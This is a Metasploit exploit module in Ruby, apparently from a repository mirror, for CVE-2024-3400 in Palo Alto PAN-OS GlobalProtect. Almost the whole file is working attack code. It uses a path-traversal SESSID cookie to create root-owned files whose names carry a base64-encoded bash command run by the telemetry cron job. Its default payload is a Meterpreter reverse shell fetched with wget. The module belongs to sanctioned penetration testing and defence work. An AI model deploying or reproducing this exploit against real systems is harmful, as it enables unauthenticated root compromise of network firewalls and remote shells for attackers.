Files
metasploit-gs/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb
T
remmons-r7 cea9fb66ed Swap out staged payload for unstaged
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-04-18 08:21:18 -05:00

132 lines
5.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Palo Alto Networks PAN-OS that
allows an unauthenticated attacker to create arbitrarily named files and execute
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1.
},
'License' => MSF_LICENSE,
'Author' => [
'remmons-r7', # Metasploit module
'sfewer-r7' # Metasploit module
],
'References' => [
['CVE', '2024-3400'],
['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory
['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'] # Initial Volexity report of the 0day exploitation
],
'DisclosureDate' => '2024-04-12',
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Privileged' => true, # Executes as root on Linux
'Targets' => [ [ 'Default', {} ] ],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'RPORT' => 443,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/var/tmp',
'WfsDelay' => 36000, # 1h, since telemetry service cronjob can take up to an hour
'StagerRetryWait' => 3600 # 1h,since telemetry service cronjob can take up to an hour
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created.
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log.
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests.
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected.
ARTIFACTS_ON_DISK
# Several 0 length files are created in the following directories during exploitation:
# - /opt/panlogs/tmp/device_telemetry/day/
# - /opt/panlogs/tmp/device_telemetry/hour/
# - /opt/panlogs/tmp/device_telemetry/minute/
# - /var/appweb/sslvpndocs/global-protect/portal/fonts/
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'An existing application web endpoint', '/global-protect/login.esp']),
]
)
end
def check
# Try to create a new empty file in an accessible directory with the exploit primitive
file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")
# Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
res_check_created = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri("/global-protect/portal/fonts/#{file_check_name}")
)
res_check_not_created = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri("/global-protect/portal/fonts/X#{file_check_name}")
)
if (res_check_created&.code != 403) || (res_check_not_created&.code != 404)
fail_with(Failure::UnexpectedReply, 'Arbitrary file write did not succeed!')
end
remote_prot_scheme = datastore['SSL'] == true ? 'https://' : 'http://'
remote_host = datastore['VHOST'] || datastore['RHOST']
print_status("Arbitrary file write succeeded: #{remote_prot_scheme}#{remote_host}:#{datastore['RPORT']}/global-protect/portal/fonts/#{file_check_name}")
print_status('Note: This file will not be deleted by the module.')
CheckCode::Appears
end
def execute_command(cmd)
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash${IFS}-"
# Create maliciously named files in all three possible telemetry directories
touch_file("/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
touch_file("/opt/panlogs/tmp/device_telemetry/day/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
touch_file("/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
end
def touch_file(file)
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Cookie' => "SESSID=./../../../..#{file}"
}
)
print_status("Touched file: #{file}")
end
def exploit
execute_command(payload.encoded)
print_status('Starting staged payload server. Depending on the version, it may take the telemetry service up to one hour to execute the payload.')
end
end